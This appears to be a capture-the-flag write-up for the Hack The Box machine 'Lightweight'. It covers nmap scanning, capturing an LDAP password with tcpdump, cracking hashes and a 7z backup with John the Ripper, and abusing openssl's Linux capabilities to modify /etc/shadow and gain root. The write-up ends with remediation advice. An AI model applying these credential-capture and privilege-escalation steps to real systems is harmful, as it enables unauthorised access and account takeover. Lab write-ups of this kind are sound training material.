Run the nmapAutomator script to enumerate open ports and services running on those ports.
./nmapAutomator.sh 10.10.10.119 All
All: Runs all the scans consecutively.
We get back the following result.
Running all scans on 10.10.10.119Host is likely running Linux---------------------Starting Nmap Quick Scan---------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-25 14:32 EST
Nmap scan report for 10.10.10.119
Host is up (0.038s latency).
Not shown: 997 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
389/tcp open ldapNmap done: 1 IP address (1 host up) scanned in 6.53 seconds---------------------Starting Nmap Basic Scan---------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-25 14:33 EST
Nmap scan report for 10.10.10.119
Host is up (0.037s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 19:97:59:9a:15:fd:d2:ac:bd:84:73:c4:29:e9:2b:73 (RSA)
| 256 88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67 (ECDSA)
|_ 256 31:6c:c1:eb:3b:28:0f:ad:d5:79:72:8f:f5:b5:49:db (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-title: Lightweight slider evaluation page - slendr
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
| ssl-cert: Subject: commonName=lightweight.htb
| Subject Alternative Name: DNS:lightweight.htb, DNS:localhost, DNS:localhost.localdomain
| Not valid before: 2018-06-09T13:32:51
|_Not valid after: 2019-06-09T13:32:51
|_ssl-date: TLS randomness does not represent timeService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.74 seconds----------------------Starting Nmap UDP Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-25 14:33 EST
Warning: 10.10.10.119 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.10.10.119
Host is up (0.068s latency).
All 1000 scanned ports on 10.10.10.119 are open|filtered (866) or filtered (134)Nmap done: 1 IP address (1 host up) scanned in 129.16 seconds---------------------Starting Nmap Full Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-25 14:35 EST
Initiating Parallel DNS resolution of 1 host. at 14:35
Completed Parallel DNS resolution of 1 host. at 14:35, 0.04s elapsed
Initiating SYN Stealth Scan at 14:35
....
Nmap scan report for 10.10.10.119
Host is up (0.037s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
389/tcp open ldapRead data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 262.16 seconds
Raw packets sent: 130950 (5.762MB) | Rcvd: 266 (19.068KB)No new ports---------------------Starting Nmap Vulns Scan---------------------
Running CVE scan on basic ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-25 14:39 EST
Nmap scan report for 10.10.10.119
Host is up (0.028s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
....
389/tcp open ldap OpenLDAP 2.2.X - 2.3.XService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.42 secondsRunning Vuln scan on basic ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-25 14:40 EST
Nmap scan report for 10.10.10.119
Host is up (0.033s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
....
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
....
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
....Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.35 seconds
Note: This scan generates a lot of results. I only show the results that contributed to rooting this machine.
We have three ports open.
Port 22: running OpenSSH 7.4
Port 80: running Apache httpd 2.4.6
Port 389: running OpenLDAP 2.2.X — 2.3.X
Before we move on to enumeration, let’s make some mental notes about the scan results.
The OpenSSH version that is running on port 22 is not associated with any critical vulnerabilities, so it’s unlikely that we gain initial access through this port, unless we find credentials.
The nmap scan leaks the domain name lightweight.htb. We’ll have to add it to our /etc/hosts file.
Gobuster and nikto scans error out after a few tries, which leads us to believe there is some kind of brute force protection mechanism enabled on the site.
OpenLDAP is running on port 389. We’ll have to enumerate this service to see if it leaks usernames, passwords, etc.
Enumeration
Add the domain name to the /etc/hosts file.
10.10.10.119 lightweight.htb
I always start off with enumerating HTTP.
Port 80 HTTP
Visit the web application in the browser.
As we suspected, the site is protected against brute force attacks. This is why our gobuster and nikto scans erred out. The index page does link to three other pages: info, status and user.
Visit the info page.
Visit the user page.
This page tells us that it created an SSH account for us with both the username and password being our IP address.
Port 22 SSH
Let’s use these credentials to log into our account.
[10.10.14.12@lightweight ~]$ cd /home/
[10.10.14.12@lightweight home]$ ls -la
total 0
drwxr-xr-x. 6 root root 77 Jan 25 19:35 .
dr-xr-xr-x. 17 root root 224 Jun 13 2018 ..
drwx------. 4 10.10.14.12 10.10.14.12 91 Jan 25 22:06 10.10.14.12
drwx------. 4 10.10.14.2 10.10.14.2 91 Nov 16 2018 10.10.14.2
drwx------. 4 ldapuser1 ldapuser1 181 Jun 15 2018 ldapuser1
drwx------. 4 ldapuser2 ldapuser2 197 Jun 21 2018 ldapuser2
There’s two ldapuser accounts in the home directory that we don’t have access to. The user.txt flag is probably in one of them, so let’s move on to enumerating port 389 to see if we can get the passwords to these users.
root@kali:~/Desktop/htb/lightweight# john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
John identifies the hashes to be SHA512, so it’ll probably take a while to crack these hashes. In the meantime, let’s look for an alternative way to get access to these user accounts.
Note: TheExtra Contentsection at the end of this blog explains how to enumerate LDAP manually without having to use the NSE script.
Initial Foothold
Let’s go back to our SSH session and see if there are any security misconfigurations that allow us to escalate privileges to ldapuser1 or ldapuser2.
To do that, let’s transfer the LinEnum script from our attack machine to the target machine. In the attack machine, start up a server in the same directory that the script resides in.
python -m SimpleHTTPServer 5555
In the target machine, change to the /tmp directory where we have write privileges and download the LinEnum script.
If you’re not familiar with linux capabilities, here’s a great article that explains the concept in detail. As described in the article:
Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced and hence decreases the risk of exploitation.
In the above entry, tcpdump is assigned two capabilities.
cap_net_admin
CAP_NET_ADMIN
Perform various network-related operations:
* interface configuration;
* administration of IP firewall, masquerading, and accounting;
* modify routing tables;
* bind to any address for transparent proxying;
* set type-of-service (TOS)
* clear driver statistics;
* set promiscuous mode;
* enabling multicasting;
* use setsockopt(2) to set the following socket options:
SO_DEBUG, SO_MARK, SO_PRIORITY (for a priority outside the range 0
to 6), SO_RCVBUFFORCE, and SO_SNDBUFFORCE.
cap_net_raw
CAP_NET_RAW
* Use RAW and PACKET sockets;
* bind to any address for transparent proxying.
The “+ep” at the end stands for adding the capability as Effective and Permitted.
e: Effective
This means the capability is “activated”.p: Permitted
This means the capability can be used/is allowed.
So we’re allowed to run tcpdump on any network interface. This will allow us to dump the traffic and analyze it for any sensitive information.
Let’s run tcpdump on all the interfaces of the target machine.
ssh 10.10.14.12@10.10.10.119 /usr/sbin/tcpdump -i any -U -w - 'not port 22' > tcpdump.cap
-i any: capture packets from all interfaces
-U: packet buffered output
-w: write the raw packets to file rather than parsing and printing them out
not port 22: exclude traffic from port 22
Now go back to the application and visit the info, status and user pages. We know that the user page triggers something at the backend that creates user accounts, so we’re hoping that we intercept an ldap password from there.
Leave it running for some time, then view the intercepted traffic using wireshark.
wireshark tcpdump.cap
We’re looking for entries that have the LDAP protocol.
Click on the above highlighted entry.
We have a password for ldapuser2!
8bc8251332abe1d7f105d3e53ad39ac2
Let’s change our user to ldapuser2 using the password we found.
su - ldapuser2
Grab the user.txt flag.
List the content of the home directory.
[ldapuser2@lightweight ~]$ ls -la
total 1880
drwx------. 4 ldapuser2 ldapuser2 197 Jun 21 2018 .
drwxr-xr-x. 6 root root 77 Jan 25 19:35 ..
-rw-r--r--. 1 root root 3411 Jun 14 2018 backup.7z
....
There’s a backup.7z file. We need to decompress it. Check if 7z is installed on the target machine.
It’s not but 7za is. Let’s use that to extract the content of the compressed file.
[ldapuser2@lightweight ~]$ 7za x backup.7z
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU AMD EPYC 7401P 24-Core Processor (800F12),ASM,AES-NI)
Scanning the drive for archives:
1 file, 3411 bytes (4 KiB)
Extracting archive: backup.7z
--
Path = backup.7z
Type = 7z
Physical Size = 3411
Headers Size = 259
Method = LZMA2:12k 7zAES
Solid = +
Blocks = 1Enter password (will not be echoed):
It requests a password. Let’s transfer it to our attack machine and run a password cracker on it.
scp ldapuser2@10.10.10.119:backup.7z .
SCP doesn’t seem to work, so we’ll transfer it by first base64 encoding the file.
[ldapuser2@lightweight ~]$ cat backup.7z | base64
Then taking the base64 encoded string and saving it in the file backup.7z.base64 on the attack machine. The base64 encoded string does contain a bunch of new lines, you can remove them in vi using the command “:%s/\n/g”.
Next, base64 decode the file and save it in backup.7z.
root@kali:~/Desktop/htb/lightweight# john --wordlist=/usr/share/wordlists/rockyou.txt backup-john.txt Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip [SHA256 256/256 AVX2 8x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 12 for all loaded hashes
Cost 3 (compression type) is 2 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
delete (?)
1g 0:00:01:22 DONE (2020-01-26 16:46) 0.01218g/s 25.35p/s 25.35c/s 25.35C/s slimshady..jonathan1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
It found the password to be “delete”. Let’s use that to decrypt the file.
7z x backup.7z
Looking through the files, we find that the file status.php contains the credentials for ldapuser1.
Enumerate the directories and files in the home directory.
[ldapuser1@lightweight ~]$ ls -la
total 1496
drwx------. 4 ldapuser1 ldapuser1 181 Jun 15 2018 .
drwxr-xr-x. 6 root root 77 Jan 25 19:35 ..
-rw-------. 1 ldapuser1 ldapuser1 0 Jun 21 2018 .bash_history
-rw-r--r--. 1 ldapuser1 ldapuser1 18 Apr 11 2018 .bash_logout
-rw-r--r--. 1 ldapuser1 ldapuser1 193 Apr 11 2018 .bash_profile
-rw-r--r--. 1 ldapuser1 ldapuser1 246 Jun 15 2018 .bashrc
drwxrwxr-x. 3 ldapuser1 ldapuser1 18 Jun 11 2018 .cache
-rw-rw-r--. 1 ldapuser1 ldapuser1 9714 Jun 15 2018 capture.pcap
drwxrwxr-x. 3 ldapuser1 ldapuser1 18 Jun 11 2018 .config
-rw-rw-r--. 1 ldapuser1 ldapuser1 646 Jun 15 2018 ldapTLS.php
-rwxr-xr-x. 1 ldapuser1 ldapuser1 555296 Jun 13 2018 openssl
-rwxr-xr-x. 1 ldapuser1 ldapuser1 942304 Jun 13 2018 tcpdump
That’s odd, the user has his own instance of openssl in his home directory. We can’t run it with sudo or suid privileges, so let’s check if the binary is configured with any linux capabilities.
It’s assigned “ep” which means that this openssl binary has ALL the capabilities permitted (p) and effective (e). We can use this misconfiguration to escalate privileges to root.
Privilege Escalation
If you visit the openssl page on gtfobins, you’ll see that the binary can be used to upload, download, read and write files. Since this gives us the ability to read and modify any file on the system, we’ll escalate privileges by changing the root password in the /etc/shadow file.
First, let’s verify that we can read the /etc/shadow file.
To gain an initial foothold on the box we exploited one vulnerability.
Security misconfiguration of linux capabilities on tcpdump binary that allowed us to dump traffic on all network interfaces and intercept the password of ldapuser2. The administrator should have conformed to the principle of least privilege when setting permissions.
To escalate privileges we exploited three vulnerabilities.
Weak credentials on backup file. The home directory of ldapuser2 contained a backup file that was encrypted using a weak password. John the Ripper cracked the password in a matter of seconds, which gave us access to the content of the folder. The administrator should have used a strong password that is difficult to crack.
Hard coded credentials in backup folder. When we decrypted the backup file, we found cleartext credentials that allowed us to pivot to the account of ldapuser1. When possible, developers should not embed credentials in files and security awareness training should be given to developers on password management best practices.
Security misconfiguration of Linux capabilities on openssl binary that allowed us to modify the /etc/shadow file and escalate our privileges to root. Again, the administrator should have conformed to the principle of least privilege when setting permissions.
